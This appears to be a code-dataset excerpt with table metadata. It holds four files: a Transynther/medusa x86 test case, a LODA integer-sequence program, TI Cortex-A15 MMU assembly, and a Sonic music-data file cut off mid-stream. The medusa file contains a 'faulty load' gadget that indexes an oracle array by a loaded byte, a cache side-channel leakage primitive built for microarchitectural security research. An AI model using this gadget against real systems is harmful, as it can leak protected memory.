hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
03513422220cc66967f9b25671148426ffcc89b7
| 5,153
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_388.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_388.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_388.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xd7e6, %rsi
lea addresses_D_ht+0x994e, %rdi
nop
xor %r9, %r9
mov $90, %rcx
rep movsq
nop
nop
nop
dec %r9
lea addresses_A_ht+0xc466, %rbx
nop
nop
nop
nop
nop
dec %r15
mov (%rbx), %edx
nop
nop
xor %r9, %r9
lea addresses_WT_ht+0xc5e6, %rdi
nop
nop
nop
and $35707, %rcx
movb $0x61, (%rdi)
nop
nop
nop
nop
inc %r9
lea addresses_WT_ht+0x107e6, %rsi
lea addresses_D_ht+0xd3e6, %rdi
nop
nop
add %rbx, %rbx
mov $51, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_UC+0x1c266, %rsi
lea addresses_WC+0xdac6, %rdi
clflush (%rsi)
nop
lfence
mov $110, %rcx
rep movsw
nop
nop
nop
add %rdi, %rdi
// Faulty Load
lea addresses_UC+0x16be6, %rcx
nop
nop
sub %rax, %rax
movb (%rcx), %r15b
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 4, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 42.586777
| 2,999
| 0.660586
|
c4f21b08ca438ef12df562156eb282dae86d7597
| 523
|
asm
|
Assembly
|
programs/oeis/133/A133463.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/133/A133463.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/133/A133463.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A133463: Partial sums of the sequence that starts with 2 and is followed by A111575.
; 2,3,4,5,6,9,12,15,18,27,36,45,54,81,108,135,162,243,324,405,486,729,972,1215,1458,2187,2916,3645,4374,6561,8748,10935,13122,19683,26244,32805,39366,59049,78732,98415,118098,177147,236196,295245,354294
mov $2,$0
add $2,1
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
mul $0,2
sub $3,$3
add $3,1
mov $5,6
lpb $0
trn $0,8
mul $3,3
mov $5,$3
lpe
mov $4,$5
sub $4,3
div $4,3
add $4,1
add $1,$4
lpe
| 20.115385
| 202
| 0.627151
|
f283326f9735d9bcba7d792510efb607b6957e80
| 6,525
|
asm
|
Assembly
|
lib/am335x_sdk/ti/csl/arch/a15/V1/mmu_a15_gcc.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | 2
|
2021-12-27T10:19:01.000Z
|
2022-03-15T07:09:06.000Z
|
lib/am335x_sdk/ti/csl/arch/a15/V1/mmu_a15_gcc.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | null | null | null |
lib/am335x_sdk/ti/csl/arch/a15/V1/mmu_a15_gcc.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | null | null | null |
@
@ Copyright (c) 2015, Texas Instruments Incorporated
@
@ Redistribution and use in source and binary forms, with or without
@ modification, are permitted provided that the following conditions
@ are met:
@
@ * Redistributions of source code must retain the above copyright
@ notice, this list of conditions and the following disclaimer.
@
@ * Redistributions in binary form must reproduce the above copyright
@ notice, this list of conditions and the following disclaimer in the
@ documentation and/or other materials provided with the distribution.
@
@ * Neither the name of Texas Instruments Incorporated nor the names of
@ its contributors may be used to endorse or promote products derived
@ from this software without specific prior written permission.
@
@ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
@ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
@ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
@ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
@ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
@ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
@ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
@ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
@ EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
@;*******************************************************************************
@;
@; mmu_a15_gcc.asm - A15 MMU assembly code
@;
@;****************************** Global Symbols *********************************
.global MMUA15InitASM
.global MMUA15DisableASM
.global MMUA15EnableASM
.global MMUA15IsEnabledASM
.global MMUA15WriteMAIRASM
.global MMUA15TLBInvalidateASM
.global MMUA15TLBInvalidateAllASM
@;******************************* Code Section **********************************
@;================ MMUA15InitASM ================
.text
.func MMUA15InitASM
MMUA15InitASM:
mov r0, #1 @ TTBR0 used and desc uses Long format
lsl r0, r0, #31 @ Set TTBCR.EAE bit
mcr p15, #0, r0, c2, c0, #2 @ write r0 to TTBCR
isb @ flush instruction pipeline
@ isb makes sure cp15 changes
@ are visible to all subsequent
@ instructions
bx r14
.endfunc
@;================ MMUA15DisableASM ================
.text
.func MMUA15DisableASM
MMUA15DisableASM:
mrc p15, #0, r0, c1, c0, #0 @ read register c1
mov r1, #0x1 @ move #1 into r1
bic r0, r0, r1 @ clear bit 1 in r0
mcr p15, #0, r0, c1, c0, #0 @ mmu disabled (bit 1 = 0)
bx r14
.endfunc
@;================ MMUA15EnableASM ================
.text
.func MMUA15EnableASM
MMUA15EnableASM:
mov r1, #0
mov r10, r0 @ get page table pointer
mcrr p15, #0, r10, r1, c2 @ write TTBR0 with Module->tableBuf.
mrc p15, #0, r0, c1, c0, #0 @ read register c1
mov r1, #0x1 @ move #1 into r1
orr r0, r0, r1 @ OR r1 with r0 into r0
mcr p15, #0, r0, c1, c0, #0 @ mmu enabled (bit 1 = 1)
bx r14
.endfunc
@;================ MMUA15IsEnabledASM ================
.text
.func MMUA15IsEnabledASM
MMUA15IsEnabledASM:
mov r0, #0
mrc p15, #0, r1, c1, c0, #0 @ read register c1 to r1
tst r1, #0x1 @ test bit 1
movne r0, #1 @ if not 0, MMU is enabled
bx r14
.endfunc
@;================ MMUA15WriteMAIRASM ================
.text
.func MMUA15WriteMAIRASM
MMUA15WriteMAIRASM:
and r2, r0, #0x3 @ attrIndx[1:0] gives byte offset
lsl r2, r2, #0x3 @ multiply by 8 to get bit offset
mov r3, #0xFF
and r1, r1, r3 @ extract lsb byte from r1
lsl r1, r1, r2 @ r1 is the encoded attribute
lsl r3, r3, r2 @ generate bit mask
tst r0, #0x4 @ attrIndx[2] selects MAIR 0 or 1
bne mair1
mair0:
mrc p15, #0, r0, c10, c2, #0 @ read MAIR0 into r0
bic r0, r0, r3
orr r0, r0, r1 @ OR encoded attribute with MAIR0
mcr p15, #0, r0, c10, c2, #0 @ write r0 to MAIR0
b exitSetMAIR
mair1:
mrc p15, #0, r0, c10, c2, #1 @ read MAIR1 into r0
bic r0, r0, r3
orr r0, r0, r1 @ OR encoded attribute with MAIR1
mcr p15, #0, r0, c10, c2, #1 @ write r0 to MAIR1
exitSetMAIR:
isb @ flush instruction pipeline
bx r14
.endfunc
@;================ MMUA15TLBInvalidateASM ================
.text
.func MMUA15TLBInvalidateASM
MMUA15TLBInvalidateASM:
dsb @ wait for invalidation to complete
add r1, r0, r1 @ calculate last address
lsr r0, r0, #12 @ align pagePtr
lsl r0, r0, #12
tlbInv:
mcr p15, #0, r0, c8, c7, #3 @ invalidate unified TLB
add r0, r0, #4096 @ increment address by page size
cmp r0, r1 @ compare to last address
blo tlbInv @ loop if count > 0
dsb @ wait for invalidation to complete
isb @ flush instruction pipeline
bx r14
.endfunc
@;================ MMUA15TLBInvalidateAllASM ================
.text
.func MMUA15TLBInvalidateAllASM
MMUA15TLBInvalidateAllASM:
dsb @ wait for invalidation to complete
mcr p15, #0, r0, c8, c7, #0 @ invalidate unified TLB
dsb @ wait for invalidation to complete
isb @ flush instruction pipeline
bx r14
.endfunc
| 38.382353
| 81
| 0.515862
|
b10cea86d2899abeeec790812a87e9a5367f0124
| 20,910
|
asm
|
Assembly
|
sk/music-optimized/Azure Lake.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 9
|
2017-10-09T20:28:45.000Z
|
2021-06-29T21:19:20.000Z
|
sk/music-optimized/Azure Lake.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 12
|
2018-08-01T13:52:20.000Z
|
2022-02-21T02:19:37.000Z
|
sk/music-optimized/Azure Lake.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 2
|
2018-02-17T19:50:36.000Z
|
2019-10-30T19:28:06.000Z
|
Snd_ALZ_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Snd_ALZ_Voices
smpsHeaderChan $06, $03
smpsHeaderTempo $01, $00
smpsHeaderDAC Snd_ALZ_DAC
smpsHeaderFM Snd_ALZ_FM1, $00, $12
smpsHeaderFM Snd_ALZ_FM2, $00, $08
smpsHeaderFM Snd_ALZ_FM3, $00, $12
smpsHeaderFM Snd_ALZ_FM4, $00, $12
smpsHeaderFM Snd_ALZ_FM5, $00, $16
smpsHeaderPSG Snd_ALZ_PSG1, $E8, $03, $00, $00
smpsHeaderPSG Snd_ALZ_PSG2, $E8, $02, $00, $00
smpsHeaderPSG Snd_ALZ_PSG3, $E8, $02, $00, $00
; FM1 Data
Snd_ALZ_FM1:
smpsPan panCenter, $00
smpsSetvoice $00
smpsModSet $0D, $01, $02, $06
dc.b nC4, $08, nF4, nG4, nF4, nG4, nC5, nG4, nC5, nD5, nF5, $18
Snd_ALZ_Jump01:
dc.b nRst, $60, nRst, nRst, nRst
smpsSetvoice $04
dc.b nRst, $18, nG5, $30, nC5, $06, nRst, $12, nRst, $54, nG5, $06
dc.b nRst, nG5, $12, nC5, $06, nRst, $0C, nG4, $06, nRst, nG4, $12
dc.b nC4, $06, nRst, $18
smpsSetvoice $03
dc.b nRst, $30, nRst, $06, nC4, nE4, nG4, nE4, nG4, nC5, nE5, nF5
dc.b $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5
dc.b nE5, nD5, nE5, $08, nRst, $0A, nC4, $06, nE4, nG4, nE4, nG4
dc.b nC5, nE5, nF5, $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18
dc.b nE5, $0C, nF5, nE5, nD5, nC5, $08, nRst, $0A, nC6, $06, nG5
dc.b nE5, nG5, nE5, nC5, nG4
smpsSetvoice $00
dc.b nRst, $18, nG4, $06, nRst, $1E, nF4, $06, nRst, $1E, nC5, $06
dc.b nRst, $1E, nG4, $06, nRst, $1E, nE5, $06, nRst, $12, nRst, $0C
dc.b nC5, $06, nRst, $1E, nG5, $06, nRst, $2A, nRst, $36
smpsSetvoice $03
dc.b nC4, $06, nE4, nG4, nE4, nG4, nC5, nE5, nF5, $0C, nE5, nD5
dc.b nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5, nE5, nD5, nE5
dc.b $08, nRst, $0A, nC4, $06, nE4, nG4, nE4, nG4, nC5, nE5, nF5
dc.b $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5
dc.b nE5, nD5, nC5, $08, nRst, $0A, nC6, $06, nG5, nE5, nG5, nE5
dc.b nC5, nG4
smpsSetvoice $00
dc.b nRst, $18, nG4, $06, nRst, $1E, nF4, $06, nRst, $1E, nC5, $06
dc.b nRst, $1E, nG4, $06, nRst, $1E, nE5, $06, nRst, $12, nRst, $0C
dc.b nC5, $06, nRst, $1E, nG5, $06, nRst, $12, nD5, $06, nRst, nE5
dc.b nRst, nG3, $0C, nG3, $06, nRst, nBb3, nRst, $12, nD4, $0C, nC4
dc.b $06, nRst, $12
smpsFMAlterVol $03
smpsSetvoice $04
dc.b nE5, $18, nD5, $06, nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5
dc.b nE5, nRst, $0C, nF5, $18, nE5, $06, nRst, nF5, nRst, nE5, nRst
dc.b nF5, nRst, nE5, nF5, nRst, $0C, nG5, $18, nF5, $06, nRst, nG5
dc.b nRst, nF5, nRst, nG5, nRst, nF5, nE5, nRst, $0C, nA4, $1E, nRst
dc.b $06, nB4, nRst, nB4, nRst, nB4, $0C, nG4, $06, nRst, nG4, nRst
dc.b nE5, $18, nD5, $06, nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5
dc.b nE5, nRst, $0C, nF5, $18, nE5, $06, nRst, nF5, nRst, nE5, nRst
dc.b nF5, nRst, nE5, nF5, nRst, $0C, nG5, $18, nF5, $06, nRst, nG5
dc.b nRst, nF5, nRst, nG5, nRst, nF5, nE5, nRst, $0C, nA4, $1E, nRst
dc.b $06, nBb4, nRst, nBb4, nRst, nB4, $0C, nRst, nC5, $06, nRst, nF5
dc.b $3C, nE5, $0C, nC5, nA4, nE5, $06, nRst, nRst, $0C, nD5, $08
dc.b nRst, $28, nC5, $06, nRst, nC5, nRst, nC5, nRst
smpsFMAlterVol $FD
smpsJump Snd_ALZ_Jump01
; FM2 Data
Snd_ALZ_FM2:
smpsSetvoice $01
smpsModSet $0D, $01, $02, $06
dc.b nC2, $48, nC2, $06, nC2, nC2, nC2
Snd_ALZ_Loop08:
dc.b nC2, $06, nRst, nC2, nRst, nC2, nRst, nC2, nC2, $05, nRst, $07
dc.b nC2, $06, nG2, nC2, nC2, $05, nRst, $07, nC2, $06, nC2
smpsLoop $00, $0C, Snd_ALZ_Loop08
dc.b nC2, $06, nRst, nC2, nRst, nC2, nRst, nC2, nC2, $05, nRst, $07
dc.b nC2, $03, nRst, nC2, $0C, nC2, nC2, nC2, $06, nC2, nC2, nRst
dc.b nC2, nRst, nC2, nC2, $05, nRst, $07, nC2, $05, nRst, $07, nC2
dc.b $06, nG2, nC2, nG2, nC2, nC2, nRst, nC2, nRst, nC2, nRst, nC2
dc.b nC2, $05, nRst, $07, nC2, $03, nRst, nC2, $0C, nC2, nC2, nC2
dc.b nC3, $01, nRst, $0B, nC2, $12, nC2, $05, nRst, $0D, nC2, $05
dc.b nRst, $07, nC2, $06, nC3, nC2, nC2
Snd_ALZ_Loop09:
dc.b nC2, $06, nRst, nC2, nRst, nC2, nRst, nC2, nC2, $05, nRst, $07
dc.b nC2, $06, nG2, nC2, nC2, $05, nRst, $07, nC2, $06, nC2
smpsLoop $00, $04, Snd_ALZ_Loop09
dc.b nC2, $06, nRst, nC2, nRst, nC2, nRst, nC2, nC2, $05, nRst, $07
dc.b nC2, $03, nRst, nC2, $0C, nC2, nC2, nC2, $06, nC2, nC2, nRst
dc.b nC2, nRst, nC2, nC2, $05, nRst, $07, nC2, $05, nRst, $07, nC2
dc.b $06, nG2, nC2, nG2, nC2, nC2, nRst, nC2, nRst, nC2, nRst, nC2
dc.b nC2, $05, nRst, $07, nC2, $03, nRst, nC2, $0C, nC2, nC2, nC2
dc.b nC3, $01, nRst, $0B, nC2, $12, nC2, $06, nC2, $0C, nC2, $05
dc.b nRst, $13
Snd_ALZ_Loop0A:
dc.b nC2, $18, nC2, $0C, nC2, nC2, nC2, nC2, nC2
smpsLoop $00, $08, Snd_ALZ_Loop0A
dc.b nC2, $18, nC2, $0C, nC2, nC2, $06, nG2, $02, nRst, $04, nC3
dc.b $0C, nG2, nE2, nC2, nRst, nC2, $06, nRst, $12, nC2, $06, nC2
dc.b nC2, $0C, nC2, nG2, nC2
smpsJump Snd_ALZ_Loop08
; FM3 Data
Snd_ALZ_FM3:
smpsSetvoice $04
smpsModSet $0D, $01, $02, $06
dc.b nRst, $18, nF5, $30, nE4, $06, nG4, nC5, nE5
Snd_ALZ_Loop07:
smpsSetvoice $02
dc.b nF4, $06, nRst, $0C, nF4, $06, nRst, $0C, nE4, $06, nRst, $12
dc.b nE4, $06, nRst, nE4, nRst, nE4, nRst, nD4, nRst, $0C, nD4, $06
dc.b nRst, $0C, nE4, $06, nRst, $12, nE4, $06, nRst, nE4, nRst, nE4
dc.b nRst, nF4, nRst, $0C, nF4, $06, nRst, $0C, nE4, $06, nRst, $12
dc.b nE4, $06, nRst, nE4, nRst, nE4, nRst, nD4, nRst, $0C, nD4, $06
dc.b nRst, $0C, nC4, $06, nRst, $12, nC4, $06, nRst, nC4, nRst, nC4
dc.b nRst
smpsLoop $00, $03, Snd_ALZ_Loop07
smpsSetvoice $04
dc.b nRst, $0C, nG4, $08, nRst, $0A, nG4, $06, nRst, $0C, nG4, $08
dc.b nRst, $0A, nG4, $08, nRst, $0A, nG4, $20, nG4, $0C, nRst, $10
dc.b nG4, $06, nG4, $08, nRst, $04, nG4, $08, nRst, $0A, nG4, $20
dc.b nG4, $0C, nRst, $10, nG4, $06, nG4, $08, nRst, $04, nG4, $08
dc.b nRst, $0A, nG4, $1E, nG4, $0E, nRst, $40
smpsSetvoice $02
dc.b nF4, $06, nRst, $0C, nF4, $06, nRst, $0C, nE4, $06, nRst, $12
dc.b nE4, $06, nRst, nE4, nRst, nE4, nRst, nD4, nRst, $0C, nD4, $06
dc.b nRst, $0C, nE4, $06, nRst, $12, nE4, $06, nRst, nE4, nRst, nE4
dc.b nRst, nF4, nRst, $0C, nF4, $06, nRst, $0C, nE4, $06, nRst, $12
dc.b nE4, $06, nRst, nE4, nRst, nE4, nRst, nD4, nRst, $0C, nD4, $06
dc.b nRst, $0C, nC4, $06, nRst, $12, nC4, $06, nRst, nC4, nRst, nC4
dc.b nRst
smpsSetvoice $04
dc.b nRst, $0C, nG4, $08, nRst, $0A, nG4, $06, nRst, $0C, nG4, $08
dc.b nRst, $0A, nG4, $08, nRst, $0A, nG4, $20, nG4, $0C, nRst, $10
dc.b nG4, $06, nG4, $08, nRst, $04, nG4, $08, nRst, $0A, nG4, $1E
dc.b nG4, $0C, nRst, $12, nG4, $06, nG4, nRst, nG4, nRst, $0C, nE4
dc.b $1E, nRst, $06, nF4, nRst, $12, nA4, $0C, nG4, $06, nRst, $12
smpsSetvoice $03
smpsFMAlterVol $FD
dc.b nC5, $54, nG4, $06, nRst, nD5, $54, nC5, $06, nRst, nE5, $48
dc.b nC5, $08, nRst, $1C, nRst, $18, nG5, $08, nRst, $10, nD5, $08
dc.b nRst, $10, nE5, $08, nRst, $04, nC5, $54, nG4, $06, nRst, nD5
dc.b $54, nC5, $06, nRst, nE5, $48, nC6, $08, nRst, $10, nF5, $24
dc.b nE5, $18, nG5, $08, nRst, $28, nRst, $60
smpsSetvoice $02
dc.b nRst, $3C, nC4, $06, nRst, nC4, nRst, nC4, nRst
smpsFMAlterVol $03
smpsJump Snd_ALZ_Loop07
; FM4 Data
Snd_ALZ_FM4:
smpsSetvoice $04
smpsModSet $0D, $01, $02, $06
dc.b nRst, $18, nG5, $30, nC5, $06, nRst, $12
Snd_ALZ_Loop06:
smpsSetvoice $02
dc.b nC4, $06, nRst, $0C, nC4, $06, nRst, $0C, nC4, $06, nRst, $12
dc.b nC4, $06, nRst, nC4, nRst, nC4, nRst, nC4, nRst, $0C, nC4, $06
dc.b nRst, $0C, nC4, $06, nRst, $12, nC4, $06, nRst, nC4, nRst, nC4
dc.b nRst, nC4, nRst, $0C, nC4, $06, nRst, $0C, nC4, $06, nRst, $12
dc.b nC4, $06, nRst, nC4, nRst, nC4, nRst, nC4, nRst, $0C, nC4, $06
dc.b nRst, $0C, nG3, $06, nRst, $12, nG3, $06, nRst, nG3, nRst, nG3
dc.b nRst
smpsLoop $00, $03, Snd_ALZ_Loop06
smpsSetvoice $04
dc.b nRst, $0C, nF4, $08, nRst, $0A, nF4, $06, nRst, $0C, nF4, $08
dc.b nRst, $0A, nF4, $08, nRst, $0A, nE4, $20, nE4, $0C, nRst, $10
dc.b nE4, $06, nE4, $08, nRst, $04, nE4, $08, nRst, $0A, nF4, $20
dc.b nF4, $0C, nRst, $10, nF4, $06, nF4, $08, nRst, $04, nF4, $08
dc.b nRst, $0A, nE4, $18, nD4, $06, nRst, nE4, $08, nRst, $40
smpsSetvoice $02
dc.b nC4, $06, nRst, $0C, nC4, $06, nRst, $0C, nC4, $06, nRst, $12
dc.b nC4, $06, nRst, nC4, nRst, nC4, nRst, nC4, nRst, $0C, nC4, $06
dc.b nRst, $0C, nC4, $06, nRst, $12, nC4, $06, nRst, nC4, nRst, nC4
dc.b nRst, nC4, nRst, $0C, nC4, $06, nRst, $0C, nC4, $06, nRst, $12
dc.b nC4, $06, nRst, nC4, nRst, nC4, nRst, nC4, nRst, $0C, nC4, $06
dc.b nRst, $0C, nG3, $06, nRst, $12, nG3, $06, nRst, nG3, nRst, nG3
dc.b nRst
smpsSetvoice $04
dc.b nRst, $0C, nF4, $08, nRst, $0A, nF4, $06, nRst, $0C, nF4, $08
dc.b nRst, $0A, nF4, $08, nRst, $0A, nE4, $20, nE4, $0C, nRst, $10
dc.b nE4, $06, nE4, $08, nRst, $04, nE4, $08, nRst, $0A, nF4, $1E
dc.b nF4, $0C, nRst, $12, nF4, $06, nF4, nRst, nF4, nRst, $0C, nC4
dc.b $1E, nRst, $06, nD4, nRst, $12, nF4, $0C, nE4, $06, nRst, $1E
dc.b nRst, $60, nRst, nRst, nRst, nRst, nRst, nRst, nRst, nRst, $0C
smpsSetvoice $00
